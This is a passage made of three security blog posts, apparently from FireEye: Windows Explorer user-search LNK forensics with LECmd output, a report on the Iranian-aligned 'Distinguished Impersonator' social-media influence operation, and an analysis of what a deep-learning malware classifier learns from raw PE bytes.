C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\password.lnk

Figure 7: LNK files created at the same time

After further testing, we determined that the system created user search LNK files as a result of Explorer searches where the user opened one of the files produced as a result of this search. User search LNK files were not created if the user did not open a file returned by the search.

In this example, the password.lnk file contained target file metadata, as would be expected for LNK shortcut files, and referenced a target file named password.txt located in the T:\ directory. passw.lnk, as previously discussed, only contained expected metadata for a user search LNK file, including the absolute path Search Folder\passw with reference to Search Results in Local Disk (C:). However, this discrepancy in directory—the user search LNK file search context of Search Results in Local Disk (C:) and the LNK shortcut file located in the T:\ drive—is actually as expected.

LNK shortcut files contain metadata for the most recently accessed file, and we found the same to be true for user search LNK files. Based on differing creation and modification timestamps for passw.lnk, we know the user searched for passw in at least one other instance (we’re not able to conclude whether a search happened between these two points in time) and opened a file from the search results. This is seen in the timestamps for the passw user search LNK file in Figure 8.

2019-11-09 08:38:29    Created
2019-11-13 06:47:56    Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk

Figure 8: passw.lnk creation and modification timestamps

The second occurrence of a search for passw occurred on November 13, 2019. In this instance, the user again searched for the term passw using Windows Explorer search, but this time searched within the context of the C:\ drive (Search Results in Local Disk (C:)), and subsequently clicked on a document named password2.txt. The results from LECmd for password2.lnk can be seen in Figure 9 (some information omitted for clarity and to protect client information). Notice the information embedded in user search LNK files is also embedded within the LNK shortcut file that is created simultaneously with the user search LNK file (underlined text). The search context for passw.lnk and full file path location for password2.lnk both match: C:\.

LECmd version 1.3.2.1

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

--- Header ---
  Target created:  2015-11-09 22:14:10
  Target modified: 2010-01-11 16:57:11
  Target accessed: 2015-11-09 22:14:10

  File size: 19
  Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
  File attributes: FileAttributeArchive
  Icon index: 0
  Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

Relative Path: ..\..\..\..\..\..\..\<file path>\password2.txt
Working Directory: C:\<file path>

--- Link information ---
Flags: VolumeIdAndLocalBasePath, CommonNetworkRelativeLinkAndPathSuffix

>>Volume information
  Drive type: Fixed storage media (Hard drive)
  Serial number: <serial number>
  Label: (No label)

  Network share information
    Share name: \\<hostname>\<top level folder>
    Provider type: <provider type>
    Share flags: ValidNetType

  Local path: C:\<top level folder>\
  Common path: <file path>\password2.txt

--- Target ID information (Format: Type ==> Value) ---

  Absolute path: Search Folder\passw\password2

  -Users property view ==> Search Folder
  >> Property store (Format: GUID\ID Description ==> Value)
      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList  ==> VT_STREAM not implemented (yet) See extension block section for contents for now
      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime  ==> 1849138729510
      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey  ==> Search Results in Local Disk (C:)0

  -Variable: Users property view ==> passw
  >> Property store (Format: GUID\ID Description ==> Value)
      1e3ee840-bc2b-476c-8237-2acd1a839b22\2      (Description not available)         ==> VT_STREAM not implemented
      1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> passw
      28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> Stack
      28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 805306372
      b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> passw

  -Variable: Users property view ==> password2
  >> Property store (Format: GUID\ID Description ==> Value)
     49691c90-7e17-101a-a91c-08002b2ecda9\3      Search Rank                         ==> 0
     28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 1077936503
     28636aa6-953d-11d2-b5d6-00c04fd918d0\32     Delegate ID List                    ==> VT_VECTOR data not implemented (yet) See extension block section for contents for now
     28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> .txt
     28636aa6-953d-11d2-b5d6-00c04fd918d0\24     Parsing Name                        ==> password2.txt
     446d16b1-8dad-4870-a748-402ea43d788c\100    Thumbnail Cache Id                  ==> 7524032674880659487
     1e3ee840-bc2b-476c-8237-2acd1a839b22\12     (Description not available)         ==> Null
     1e3ee840-bc2b-476c-8237-2acd1a839b22\20     (Description not available)         ==> 1
     1e3ee840-bc2b-476c-8237-2acd1a839b22\3      (Description not available)         ==> document
     1e3ee840-bc2b-476c-8237-2acd1a839b22\17     (Description not available)         ==> {1685D4AB-A51B-4AF1-A4E5-CEE87002431D}.Merge Any
     1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> C:\<file path>\password2.txt
     b725f130-47ef-101a-a5f1-02608c9eebac\4      Item Type Text                      ==> Text Document
     b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> password2
     b725f130-47ef-101a-a5f1-02608c9eebac\12     Size                                ==> 19
     b725f130-47ef-101a-a5f1-02608c9eebac\14     Date Modified                       ==> 01/11/2010 16:57:11
     006fdbaa-864f-4d1c-a8e8-e62772e454fe\11     (Description not available)         ==> 59
     006fdbaa-864f-4d1c-a8e8-e62772e454fe\13     (Description not available)         ==> 1077936423
     cf5be8c0-236c-4ad3-bace-cd608a2748d7\100    (Description not available)         ==> True
     e3e0584c-b788-4a5a-bb20-7f5a44c9acdd\6      Item Folder Path Display            ==> C:\<file path>

--- End Target ID information ---

--- Extra blocks information ---

>> Property store data block (Format: GUID\ID Description ==> Value)
   (Property store is empty)

>> Tracker database block
   Machine ID: <hostname>
   MAC Address: <mac address>
   MAC Vendor: VMWARE
   Creation: 2019-11-13 04:29:24

   Volume Droid: <volume>
   Volume Droid Birth: <volume>
   File Droid: <file>
   File Droid birth: <file>

Figure 9: LECmd.exe output for password2.lnk

The takeaway here is that user search LNK files are only related to the search term and not search context. This means later searches for the same search term, e.g. passw, when the user subsequently opens a search result, but in a different drive or directory changes the modification timestamp for the user search LNK file as well as the search context contained in the user search LNK file. This keeps in step with LNK shortcut files, which are dependent on a simple filename—not the full file path.

Timestamp Interpretation

Historically, due to the structure of the WorldWheelQuery registry key and available timestamps in the Windows Registry, investigators could only determine the search time of the most recent term using the last modification time of the registry key. With user search LNK files, new timestamps are available to determine the times a user searched for a specific term when the user subsequently opened a file from the search. Going further, we can combine evidence from the user search LNK files and the WorldWheelQuery MRUlistEx registry key value to infer the order of searches completed by the user. For instance, since the user searched for gov (WorldWheelQuery search index 4), passw (index 6), and private (index 7), we can infer they also searched for air (index 5) but didn't open any files resulting from this search.

Conclusion

LNK shortcut files have been a reliable method to determine user access to files and the associated file metadata at the time of access. With user search LNK files, we can now enrich our Windows Explorer search history findings and gain a more detailed picture of user activity through additional timestamps of user Explorer searches with subsequent access to files from the search.

Acknowledgements

Thank you to Phillip Kealy and William Ballenthin for technical review and providing feedback on overall presentation.

“Distinguished Impersonator” Information Operation That Previously Impersonated U.S. Politicians and Journalists on Social Media Leverages Fabricated U.S. Liberal Personas to Promote Iranian Interests

In May 2019, FireEye Threat Intelligence published a blog post exposing a network of English-language social media accounts that engaged in inauthentic behavior and misrepresentation that we assessed with low confidence was organized in support of Iranian political interests. Personas in that network impersonated candidates for U.S. House of Representatives seats in 2018 and leveraged fabricated journalist personas to solicit various individuals, including real journalists and politicians, for interviews intended to bolster desired political narratives. Since the release of that blog post, we have continued to track activity that we believe to be part of that broader operation, reporting our findings to our intelligence customers using the moniker “Distinguished Impersonator.”

Today, Facebook took action against a set of eleven accounts on the Facebook and Instagram platforms that they shared with us and, upon our independent review, we assessed were related to the broader Distinguished Impersonator activity set we’ve been tracking. We separately identified a larger set of just under 40 related accounts active on Twitter against which Twitter has also taken recent enforcement action. In this blog post, we provide insights into the recent activity and behavior of some of the personas in the Distinguished Impersonator network, in order to exemplify the tactics information operations actors are employing in their attempts to surreptitiously amplify narratives and shape political attitudes.          

Activity Overview

Personas in the Distinguished Impersonator network have continued to engage in activity similar to that we previously reported on publicly in May 2019, including social media messaging directed at politicians and media outlets; soliciting prominent individuals including academics, journalists, and activists for “media” interviews; and posting what appear to be videoclips of interviews of unknown provenance conducted with such individuals to social media. The network has also leveraged authentic media content to promote desired political narratives, including the dissemination of news articles and videoclips from Western mainstream media outlets that happen to align with Iranian interests, and has amplified the commentary of real individuals on social media.

Outside of impersonating prominent individuals such as journalists, other personas in the network have primarily posed as U.S. liberals, amplifying authentic content from other social media users broadly in line with that proclaimed political leaning, as well as material more directly in line with Iranian political interests, such as videoclips of a friendly meeting between U.S. President Trump and Crown Prince of Saudi Arabia Mohammad Bin Salman accompanied by pro-U.S. Democrat commentary, videoclips of U.S. Democratic presidential candidates discussing Saudi Arabia's role in the conflict in Yemen, and other anti-Saudi, anti-Israeli, and anti-Trump messaging. Some of this messaging has been directed at the social media accounts of U.S. politicians and media outlets (Figure 1).


Figure 1: Twitter accounts in the Distinguished Impersonator network posting anti-Israeli, anti-Saudi, and anti-Trump content

We observed direct overlap between six of the personas operating on Facebook platforms and those operating on Twitter. In one example of such overlap, the “Ryan Jensen” persona posted to both Twitter and Instagram a videoclip showing antiwar protests in the U.S. following the killing of Qasem Soleimani, commander of the Islamic Revolutionary Guards Corps’ Quds Force (IRGC-QF) by a U.S. airstrike in Baghdad in January 2020 (Figure 2). Notably, though the strike motivated some limited activity by personas in the network, the Distinguished Impersonator operation has been active since long before that incident.


Figure 2: Posts by the “Ryan Jensen” persona on Twitter and Instagram disseminating a videoclip of antiwar protests in the U.S. following the killing of Qasem Soleimani

Accounts Engaged in Concerted Replies to Influential Individuals on Twitter, Posed as Journalists and Solicited Prominent Individuals for “Media” Interviews

Personas on Twitter that we assess to be a part of the Distinguished Impersonator operation engaged in concerted replies to tweets by influential individuals and organizations, including members of the U.S. Congress and other prominent political figures, journalists, and media outlets. The personas responded to tweets with specific narratives aligned with Iranian interests, often using identical hashtags. The personas sometimes also responded with content unrelated to the tweet they were replying to, again with messaging aligned with Iranian interests. For example, a tweet regarding a NASA mission received replies from personas in the network pertaining to Iran’s seizure of a British oil tanker in July 2019. Other topics the personas addressed included U.S.-imposed sanctions on Iran and U.S. President Trump’s impeachment (Figure 3). While it is possible that the personas may have conducted such activity in the hope of eliciting responses from the specific individuals and organizations they were replying to, the multiple instances of personas responding to seemingly random tweets with unrelated political content could also indicate an intent to reach the broader Twitter audiences following those prominent accounts.


Figure 3: Twitter accounts addressing U.S.-imposed sanctions on Iran (left) and the Trump impeachment (right)

Instagram accounts that we assess to be part of the Distinguished Impersonator operation subsequently highlighted this Twitter activity by posting screen recordings of an unknown individual(s) scrolling through the responses by the personas and authentic Twitter users to prominent figures’ tweets. The Instagram account @ryanjensen7722, for example, posted a video scrolling through replies to a tweet by U.S. Senator Cory Gardner commenting on “censorship and oppression.” The video included a reply posted by @EmilyAn1996, a Twitter account we have assessed to be part of the operation, discussing potential evidence surrounding President Trump’s impeachment trial.


Figure 4: Screenshot of video posted by @ryanjensen7722 on Instagram scrolling through Twitter replies to a tweet by U.S. Senator Cory Gardner

We also observed at least two personas posing as journalists working at legitimate U.S. media outlets openly solicit prominent individuals via Twitter, including Western academics, activists, journalists, and political advisors, for interviews (Figure 5). These individuals included academic figures from organizations such as the Washington Institute for Near East Policy and the Foreign Policy Research Institute, as well as well-known U.S. conservatives opposed to U.S. President Trump and a British MP. The personas solicited the individuals’ opinions regarding topics relevant to Iran’s political interests, such as Trump’s 2020 presidential campaign, the Trump administration’s relationship with Saudi Arabia, Trump’s “deal of the century,” referring to a peace proposal regarding the Israeli-Palestinian conflict authored by the Trump administration, and a tweet by President Trump regarding former UK Prime Minister Theresa May.


Figure 5: The “James Walker” persona openly soliciting interviews from academics and journalists on Twitter

Twitter Personas Posted Opinion Polls To Solicit Views on Topics Relevant to Iranian Political Interests

Some of the personas on Twitter also posted opinion polls to solicit other users’ views on political topics, possibly for the purpose of helping to build a larger follower base through engagement. One account, @CavenessJim, posed the question: “Do you believe in Trump’s foreign policies especially what he wants to do for Israel which is called ‘the deal of the century’?” (The poll provided two options: “Yes, I do.” and “No, he cares about himself.” Of the 2,241 votes received, 99% of participants voted for the latter option, though we note that we have no visibility into the authenticity of those “voters”.) Another account, @AshleyJones524, responded to a tweet by U.S. Senator Lindsey Graham by posting a poll asking if the senator was “Trump’s lapdog,” tagging seven prominent U.S. politicians and one comedian in the post; all 24 respondents to the poll voted in the affirmative. As with the Instagram accounts’ showcasing of replies to the tweets of prominent individuals, Instagram accounts in the network also highlighted polls posted by the personas on Twitter (Figure 6).


Figure 6: Twitter account @CavenessJim posts Twitter poll (left); Instagram account @ryanjensen7722 posts video highlighting @CavenessJim's Twitter poll (right)

Videoclips of Interviews with U.S., U.K., and Israeli Individuals Posted on Iran-Based Media Outlet Tehran Times

Similar to the personas we reported on in May 2019, some of the more recently active personas posted videoclips on Facebook, Instagram, and Twitter of interviews with U.S., UK, and Israeli individuals including professors, politicians, and activists expressing views on topics aligned with Iranian political interests (Figure 7). We have thus far been unable to determine the provenance of these interviews, and note that, unlike some of the previous cases we reported on in 2019, the personas in this more recent iteration of activity did not themselves proclaim to have conducted the interviews they promoted on social media. The videoclips highlighted the interviewees’ views on issues such as U.S. foreign policy in the Middle East and U.S. relations with its political allies. Notably, we observed that at least some of the videoclips that were posted by the personas to social media have also appeared on the website of the Iranian English-language media outlet Tehran Times, both prior to and following the personas' social media posts. In other instances, Tehran Times published videoclips that appeared to be different segments of the same interviews that were posted by Distinguished Impersonator personas. Tehran Times is owned by the Islamic Propagation Organization, an entity that falls under the supervision of the Iranian Supreme Leader Ali Khamenei.


Figure 7: Facebook and Instagram accounts in the network posting videoclips of interviews with an activist and a professor

Conclusion

The activity we’ve detailed here does not, in our assessment, constitute a new activity set, but rather a continuation of an ongoing operation we believe is being conducted in support of Iranian political interests that we’ve been tracking since last year. It illustrates that the actors behind this operation continue to explore elaborate methods for leveraging the authentic political commentary of real individuals to furtively promote Iranian political interests online. The continued impersonation of journalists and the amplification of politically-themed interviews of prominent individuals also provide additional examples of what we have long referred to internally as the “media-IO nexus”, whereby actors engaging in online information operations actively leverage the credibility of the legitimate media environment to mask their activities, whether that be through the use of inauthentic news sites masquerading as legitimate media entities, deceiving legitimate media entities in order to promote desired political narratives, defacing media outlets’ websites to disseminate disinformation, spoofing legitimate media websites, or, as in this case, attempting to solicit commentary likely perceived as expedient to the actors’ political goals by adopting fake media personas.

What are Deep Neural Networks Learning About Malware?

An increasing number of modern antivirus solutions rely on machine learning (ML) techniques to protect users from malware. While ML-based approaches, like FireEye Endpoint Security’s MalwareGuard capability, have done a great job at detecting new threats, they also come with substantial development costs. Creating and curating a large set of useful features takes significant amounts of time and expertise from malware analysts and data scientists (note that in this context a feature refers to a property or characteristic of the executable that can be used to distinguish between goodware and malware). In recent years, however, deep learning approaches have shown impressive results in automatically learning feature representations for complex problem domains, like images, speech, and text. Can we take advantage of these advances in deep learning to automatically learn how to detect malware without costly feature engineering?

As it turns out, deep learning architectures, and in particular convolutional neural networks (CNNs), can do a good job of detecting malware simply by looking at the raw bytes of Windows Portable Executable (PE) files. Over the last two years, FireEye has been experimenting with deep learning architectures for malware classification, as well as methods to evade them. Our experiments have demonstrated surprising levels of accuracy that are competitive with traditional ML-based solutions, while avoiding the costs of manual feature engineering. Since the initial presentation of our findings, other researchers have published similarly impressive results, with accuracy upwards of 96%.

Since these deep learning models are only looking at the raw bytes without any additional structural, semantic, or syntactic context, how can they possibly be learning what separates goodware from malware? In this blog post, we answer this question by analyzing FireEye’s deep learning-based malware classifier.

Highlights

  • FireEye’s deep learning classifier can successfully identify malware using only the unstructured bytes of the Windows PE file.
  • Import-based features, like names and function call fingerprints, play a significant role in the features learned across all levels of the classifier.
  • Unlike other deep learning application areas, where low-level features tend to generally capture properties across all classes, many of our low-level features focused on very specific sequences primarily found in malware.
  • End-to-end analysis of the classifier identified important features that closely mirror those created through manual feature engineering, which demonstrates the importance of classifier depth in capturing meaningful features.

Background

Before we dive into our analysis, let’s first discuss what a CNN classifier is doing with Windows PE file bytes. Figure 1 shows the high-level operations performed by the classifier while “learning” from the raw executable data. We start with the raw byte representation of the executable, absent any structure that might exist (1). This raw byte sequence is embedded into a high-dimensional space where each byte is replaced with an n-dimensional vector of values (2). This embedding step allows the CNN to learn relationships among the discrete bytes by moving them within the n-dimensional embedding space. For example, if the bytes 0xe0 and 0xe2 are used interchangeably, then the CNN can move those two bytes closer together in the embedding space so that the cost of replacing one with the other is small. Next, we perform convolutions over the embedded byte sequence (3). As we do this across our entire training set, our convolutional filters begin to learn the characteristics of certain sequences that differentiate goodware from malware (4). In simpler terms, we slide a fixed-length window across the embedded byte sequence and the convolutional filters learn the important features from across those windows. Once we have scanned the entire sequence, we can then pool the convolutional activations to select the best features from each section of the sequence (i.e., those that maximally activated the filters) to pass along to the next level (5). In practice, the convolution and pooling operations are used repeatedly in a hierarchical fashion to aggregate many low-level features into a smaller number of high-level features that are more useful for classification. Finally, we use the aggregated features from our pooling as input to a fully-connected neural network, which classifies the PE file sample as either goodware or malware (6).


Figure 1: High-level overview of a convolutional neural network applied to raw bytes from a Windows PE files.

The specific deep learning architecture that we analyze here actually has five convolutional and max pooling layers arranged in a hierarchical fashion, which allows it to learn complex features by combining those discovered at lower levels of the hierarchy. To efficiently train such a deep neural network, we must restrict our input sequences to a fixed length – truncating any bytes beyond this length or using special padding symbols to fill out smaller files. For this analysis, we chose an input length of 100KB, though we have experimented with lengths upwards of 1MB. We trained our CNN model on more than 15 million Windows PE files, 80% of which were goodware and the remainder malware. When evaluated against a test set of nearly 9 million PE files observed in the wild from June to August 2018, the classifier achieves an accuracy of 95.1% and an F1 score of 0.96, which are on the higher end of scores reported by previous work.

In order to figure out what this classifier has learned about malware, we will examine each component of the architecture in turn. At each step, we use either a sample of 4,000 PE files taken from our training data to examine broad trends, or a smaller set of six artifacts from the NotPetya, WannaCry, and BadRabbit ransomware families to examine specific features.

Bytes in (Embedding) Space

The embedding space can encode interesting relationships that the classifier has learned about the individual bytes and determine whether certain bytes are treated differently than others because of their implied importance to the classifier’s decision. To tease out these relationships, we will use two tools: (1) a dimensionality reduction technique called multi-dimensional scaling (MDS) and (2) a density-based clustering method called HDBSCAN. The dimensionality reduction technique allows us to move from the high-dimensional embedding space to an approximation in two-dimensional space that we can easily visualize, while still retaining the overall structure and organization of the points. Meanwhile, the clustering technique allows us to identify dense groups of points, as well as outliers that have no nearby points. The underlying intuition being that outliers are treated as “special” by the model since there are no other points that can easily replace them without a significant change in upstream calculations, while dense clusters of points can be used interchangeably.


Figure 2: Visualization of the byte embedding space using multi-dimensional scaling (MDS) and clustered with hierarchical density-based clustering (HDBSCAN) with clusters (Left) and outliers labeled (Right).

On the left side of Figure 2, we show the two-dimensional representation of our byte embedding space with each of the clusters labeled, along with an outlier cluster labeled as -1. As you can see, the vast majority of bytes fall into one large catch-all class (Cluster 3), while the remaining three clusters have just two bytes each. Though there are no obvious semantic relationships in these clusters, the bytes that were included are interesting in their own right – for instance, Cluster 0 includes our special padding byte that is only used when files are smaller than the fixed-length cutoff, and Cluster 1 includes the ASCII character ‘r.’

What is more fascinating, however, is the set of outliers that the clustering produced, which are shown in the right side of Figure 3.  Here, there are a number of intriguing trends that start to appear. For one, each of the bytes in the range 0x0 to 0x6 are present, and these bytes are often used in short forward jumps or when registers are used as instruction arguments (e.g., eax, ebx, etc.). Interestingly, 0x7 and 0x8 are grouped together in Cluster 2, which may indicate that they are used interchangeably in our training data even though 0x7 could also be interpreted as a register argument. Another clear trend is the presence of several ASCII characters in the set of outliers, including ‘\n’, ‘A’, ‘e’, ‘s’, and ‘t.’ Finally, we see several opcodes present, including the call instruction (0xe8), loop and loopne (0xe0, 0xe2), and a breakpoint instruction (0xcc).

Given these findings, we immediately get a sense of what the classifier might be looking for in low-level features: ASCII text and usage of specific types of instructions.

Deciphering Low-Level Features

The next step in our analysis is to examine the low-level features learned by the first layer of convolutional filters. In our architecture, we used 96 convolutional filters at this layer, each of which learns basic building-block features that will be combined across the succeeding layers to derive useful high-level features. When one of these filters sees a byte pattern that it has learned in the current convolution, it will produce a large activation value and we can use that value as a method for identifying the most interesting bytes for each filter. Of course, since we are examining the raw byte sequences, this will merely tell us which file offsets to look at, and we still need to bridge the gap between the raw byte interpretation of the data and something that a human can understand. To do so, we parse the file using PEFile and apply BinaryNinja’s disassembler to executable sections to make it easier to identify common patterns among the learned features for each filter.

Since there are a large number of filters to examine, we can narrow our search by getting a broad sense of which filters have the strongest activations across our sample of 4,000 Windows PE files and where in those files those activations occur. In Figure 3, we show the locations of the 100 strongest activations across our 4,000-sample dataset. This shows a couple of interesting trends, some of which could be expected and others that are perhaps more surprising. For one, the majority of the activations at this level in our architecture occur in the ‘.text’ section, which typically contains executable code. When we compare the ‘.text’ section activations between malware and goodware subsets, there are significantly more activations for the malware set, meaning that even at this low level there appear to be certain filters that have keyed in on specific byte sequences primarily found in malware. Additionally, we see that the ‘UNKNOWN’ section– basically, any activation that occurs outside the valid bounds of the PE file – has many more activations in the malware group than in goodware. This makes some intuitive sense since many obfuscation and evasion techniques rely on placing data in non-standard locations (e.g., embedding PE files within one another).


Figure 3: Distribution of low-level activation locations across PE file headers and sections. Overall distribution of activations (Left), and activations for goodware/malware subsets (Right). UNKNOWN indicates an area outside the valid bounds of the file and NULL indicates an empty section name.

We can also examine the activation trends among the convolutional filters by plotting the top-100 activations for each filter across our 4,000 PE files, as shown in Figure 4. Here, we validate our intuition that some of these filters are overwhelmingly associated with features found in our malware samples. In this case, the activations for Filter 57 occur almost exclusively in the malware set, so that will be an important filter to look at later in our analysis. The other main takeaway from the distribution of filter activations is that the distribution is quite skewed, with only two filters handling the majority of activations at this level in our architecture. In fact, some filters are not activated at all on the set of 4,000 files we are analyzing.


Figure 4: Distribution of activations over each of the 96 low-level convolutional filters. Overall distribution of activations (Left), and activations for goodware/malware subsets (Right).

Now that we have identified the most interesting and active filters, we can disassemble the areas surrounding their activation locations and see if we can tease out some trends. In particular, we are going to look at Filters 83 and 57, both of which were important filters in our model based on activation value. The disassembly results for these filters across several of our ransomware artifacts is shown in Figure 5.

For Filter 83, the trend in activations becomes pretty clear when we look at the ASCII encoding of the bytes, which shows that the filter has learned to detect certain types of imports. If we look closer at the activations (denoted with a ‘*’), these always seem to include characters like ‘r’, ‘s’, ‘t’, and ‘e’, all of which were identified as outliers or found in their own unique clusters during our embedding analysis.  When we look at the disassembly of Filter 57’s activations, we see another clear pattern, where the filter activates on sequences containing multiple push instructions and a call instruction – essentially, identifying function calls with multiple parameters.

In some ways, we can look at Filters 83 and 57 as detecting two sides of the same overarching behavior, with Filter 83 detecting the imports and 57 detecting the potential use of those imports (i.e., by fingerprinting the number of parameters and usage). Due to the independent nature of convolutional filters, the relationships between the imports and their usage (e.g., which imports were used where) is lost, and that the classifier treats these as two completely independent features.


Figure 5: Example disassembly of activations for filters 83 (Left) and 57 (Right) from ransomware samples. Lines prepended with '*' contain the actual filter activations, others are provided for context.

Aside from the import-related features described above, our analysis also identified some filters that keyed in on particular byte sequences found in functions containing exploit code, such as DoublePulsar or EternalBlue. For instance, Filter 94 activated on portions of the EternalRomance exploit code from the BadRabbit artifact we analyzed. Note that these low-level filters did not necessarily detect the specific exploit activity, but instead activate on byte sequences within the surrounding code in the same function.

These results indicate that the classifier has learned some very specific byte sequences related to ASCII text and instruction usage that relate to imports, function calls, and artifacts found within exploit code. This finding is surprising because in other machine learning domains, such as images, low-level filters often learn generic, reusable features across all classes.

Bird’s Eye View of End-to-End Features

While it seems that lower layers of our CNN classifier have learned particular byte sequences, the larger question is: does the depth and complexity of our classifier (i.e., the number of layers) help us extract more meaningful features as we move up the hierarchy? To answer this question, we have to examine the end-to-end relationships between the classifier’s decision and each of the input bytes. This allows us to directly evaluate each byte (or segment thereof) in the input sequence and see whether it pushed the classifier toward a decision of malware or goodware, and by how much. To accomplish this type of end-to-end analysis, we leverage the SHapley Additive exPlanations (SHAP) framework developed by Lundberg and Lee. In particular, we use the GradientSHAP method that combines a number of techniques to precisely identify the contributions of each input byte, with positive SHAP values indicating areas that can be considered to be malicious features and negative values for benign features.

After applying the GradientSHAP method to our ransomware dataset, we noticed that many of the most important end-to-end features were not directly related to the types of specific byte sequences that we discovered at lower layers of the classifier. Instead, many of the end-to-end features that we discovered mapped closely to features developed from manual feature engineering in our traditional ML models. As an example, the end-to-end analysis on our ransomware samples identified several malicious features in the checksum portion of the PE header, which is commonly used as a feature in traditional ML models. Other notable end-to-end features included the presence or absence of certain directory information related to certificates used to sign the PE files, anomalies in the section table that define the properties of the various sections of the PE file, and specific imports that are often used by malware (e.g., GetProcAddress and VirtualAlloc).

In Figure 6, we show the distribution of SHAP values across the file offsets for the worm artifact of the WannaCry ransomware family. Many of the most important malicious features found in this sample are focused in the PE header structures, including previously mentioned checksum and directory-related features. One particularly interesting observation from this sample, though, is that it contains another PE file embedded within it, and the CNN discovered two end-to-end features related to this. First, it identified an area of the section table that indicated the ‘.data’ section had a virtual size that was more than 10x larger than the stated physical size of the section. Second, it discovered maliciously-oriented imports and exports within the embedded PE file itself. Taken as a whole, these results show that the depth of our classifier appears to have helped it learn more abstract features and generalize beyond the specific byte sequences we observed in the activations at lower layers.


Figure 6: SHAP values for file offsets from the worm artifact of WannaCry. File offsets with positive values are associated with malicious end-to-end features, while offsets with negative values are associated with benign features.

Summary

In this blog post, we dove into the inner workings of FireEye’s byte-based deep learning classifier in order to understand what it, and other deep learning classifiers like it, are learning about malware from its unstructured raw bytes. Through our analysis, we have gained insight into a number of important aspects of the classifier’s operation, weaknesses, and strengths:

  • Import Features: Import-related features play a large role in classifying malware across all levels of the CNN architecture. We found evidence of ASCII-based import features in the embedding layer, low-level convolutional features, and end-to-end features.
  • Low-Level Instruction Features: Several features discovered at the lower layers of our CNN classifier focused on sequences of instructions that capture specific behaviors, such as particular types of function calls or code surrounding certain types of exploits. In many cases, these features were primarily associated with malware, which runs counter to the typical use of CNNs in other domains, such as image classification, where low-level features capture generic aspects of the data (e.g., lines and simple shapes). Additionally, many of these low-level features did not appear in the most malicious end-to-end features.
  • End-to-End Features: Perhaps the most interesting result of our analysis is that many of the most important maliciously-oriented end-to-end features closely map to common manually-derived features from traditional ML classifiers. Features like the presence or absence of certificates, obviously mangled checksums, and inconsistencies in the section table do not have clear analogs to the lower-level features we uncovered. Instead, it appears that the depth and complexity of our CNN classifier plays a key role in generalizing from specific byte sequences to meaningful and intuitive features.

It is clear that deep learning offers a promising path toward sustainable, cutting-edge malware classification. At the same time, significant improvements will be necessary to create a viable real-world solution that addresses the shortcomings discussed in this article. The most important next step will be improving the architecture to include more information about the structural, semantic, and syntactic context of the executable rather than treating it as an unstructured byte sequence. By adding this specialized domain knowledge directly into the deep learning architecture, we allow the classifier to focus on learning relevant features for each context, inferring relationships that would not be possible otherwise, and creating even more robust end-to-end features with better generalization properties.

The content of this blog post is based on research presented at the Conference on Applied Machine Learning for Information Security (CAMLIS) in Washington, DC on Oct. 12-13, 2018. Additional material, including slides and a video of the presentation, can be found on the conference website.

An extended version of the research presented in this blog post can be found in our peer-reviewed paper from the IEEE Deep Learning and Security workshop. A publicly-available version of the paper is also available.